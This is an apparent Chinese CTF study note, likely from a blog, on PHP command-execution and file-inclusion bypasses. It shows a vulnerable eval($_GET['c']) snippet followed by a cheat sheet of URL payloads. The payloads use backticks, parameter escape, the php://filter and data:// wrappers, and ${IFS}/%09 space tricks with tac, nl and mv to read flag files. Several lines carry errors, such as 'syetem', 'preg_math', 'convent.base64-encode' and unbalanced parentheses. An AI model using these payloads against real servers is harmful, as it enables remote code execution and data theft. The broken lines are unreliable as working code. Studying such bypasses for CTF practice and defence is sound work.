命令执行

文件包含

源码

if(isset($_GET['c']))
{	
	$c = $_GET['c'];
	if(!preg_math("/flag/i,$c"))
	{	
			eval($c);
	}
}
else
{
	highlight_file(_FiLE_)
}

1.代码执行

?c=phpinfo(); 或者 ?c=phpinfo?>
php最后一条语句可以不用分号
?c=system(“cp fla?.php 1.txt”);
然后查看1.txt , fla?是因为过滤了flag所以拿占位符添加
(?是一位,*是多位)

如果过滤system

?c=`/cp fla?.php 1.txt`; 反引号在PHP中和system 类似

如过滤点单引号 和 点

?c=eval($_GET[1]);&1=system(“ls”);
后面的参数一不受过滤限制,逃逸了

过滤了分号 和 括号

?c=include%0a$_GET[1]?>&1=php://filter/convent.base64-encode/resource=flag.php
使用php伪协议,

过滤了include

?c=require%0a$_GET[1]?>&1=php://filter/convent.base64-encode/resource=flag.php
require 和include类似

过滤了数字

?c=include%0a$_GET[a]?>&a=php://filter/convent.base64-encode/resource=flag.php
a可以不用单引号,因为php向下兼容,目前可用,以后可能不行

过滤了很多符号

?c=print_r(get_defined_vars());
需要加一个post值里面写
拿一个中间一个数组
?c=print_r(next(get_defined_vars()));
取数组值弹出
?c=print(array_pop(get_defined_vars())));
执行
?c=eval(array_pop(get_defined_vars())));

利用函数echo print isset unset include require

print

print%0a$_GET[1]?>&1=phpinfo();
回显的是phpinfo()的字符
只有用eval才能执行

函数变了源代码eval变成include

include($c);

过滤了flag

?c=data://text/plain,<?php syetem("mv fla?.php 1.txt");?>
伪协议data把后面的字符作为代码执行 复制flag到1.txt

过滤了PHP

?c=data://text/plain,<?= syetem("mv fla?.php 1.txt");?>
php可以换成=号 这是短标签写法

强制加后缀PHP 并且不回显

?c=data://text/plain;<?php syetem("tac fla?.php");?>

include变成system

system($c,"	>/dev/null	2>&1");

需要url编码提交

双写绕过
?c=ls;ls
因为有分号第二个命令被拉到黑洞里

过滤了分号

?c=cat flag.php&&ls
同样是&分割了命令

过滤了cat.flag

?c=tac fla?.php&&ls

过滤了空格

?c=tac%09fla?.php&&ls
%09水平制表符 属于一种tab,可以当空格使用

过滤了所有空格

?c=nl<fla"g.php||ls
行号打开文件

过滤了<>

?c=ls${IFS}/||ls --查看根目录
?c=mv${IFS}fla?.php${IFS}a.txt||ls
?c=cp${IFS}/fla?.php${IFS}var/www/html/a.txt||ls

函数变成

d=system($c);
echo "<br>".$d

?c=ta"c${IFS}fla?.php

可利用函数

system('ls');
phpinfo();   php页面
echo shell_exec('ls')
echo file_get_contents('index.php'); 读取文件
echo include($_GET[1]);然后get传参?1=1=php://filter/convent.base64-encode/resource=flag.php
rename('flag.php' ,'1.txt');改变变量名字
echo include($_GET[1]);&1=hightlight_file('flag.php');
show_source('flag.php');
include('flag.php');&echo $flag; 先包含了,然后知道变量名字直接输出
include('flag.php');ver_dump(get_defined_var());包含变量,然后查看所有包含变量
print_r(scandir('.'));查看当前目录
file_get_contents('flag.php')远程文件获取
include('flag.txt'); txt文件直接输出
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值